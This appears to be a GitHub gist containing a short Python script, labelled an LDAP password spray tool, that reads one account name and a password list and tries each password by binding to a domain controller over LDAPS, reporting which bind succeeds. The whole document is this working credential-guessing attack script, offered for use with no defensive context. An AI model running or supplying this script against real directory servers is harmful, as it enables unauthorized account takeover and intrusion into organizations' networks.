Skip to content

Instantly share code, notes, and snippets.

@ag-michael
Created July 16, 2019 20:01
Show Gist options
  • Save ag-michael/c6f8b87bc56f2e04e06dd9b8115ddde7 to your computer and use it in GitHub Desktop.
Save ag-michael/c6f8b87bc56f2e04e06dd9b8115ddde7 to your computer and use it in GitHub Desktop.
A very simply LDAP password spray script that validates passwords based on succesful ldap bind()
import ldap
import json
import sys
def ldapbrute():
ldap_obj = ldap.initialize("ldaps://domaincontroller.corp.local")
ldap_obj.protocol_version = ldap.VERSION3
ldap_obj.set_option(ldap.OPT_REFERRALS, 0)
passwords=[]
account=sys.argv[1]
with open(sys.argv[2]) as f:
passwords=f.read().splitlines()
for pwd in passwords:
try:
ldap_obj.simple_bind_s(account+"@corp.local", pwd)
print("bind worked!")
except Exception as e:
print(e)
continue
ldapbrute()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment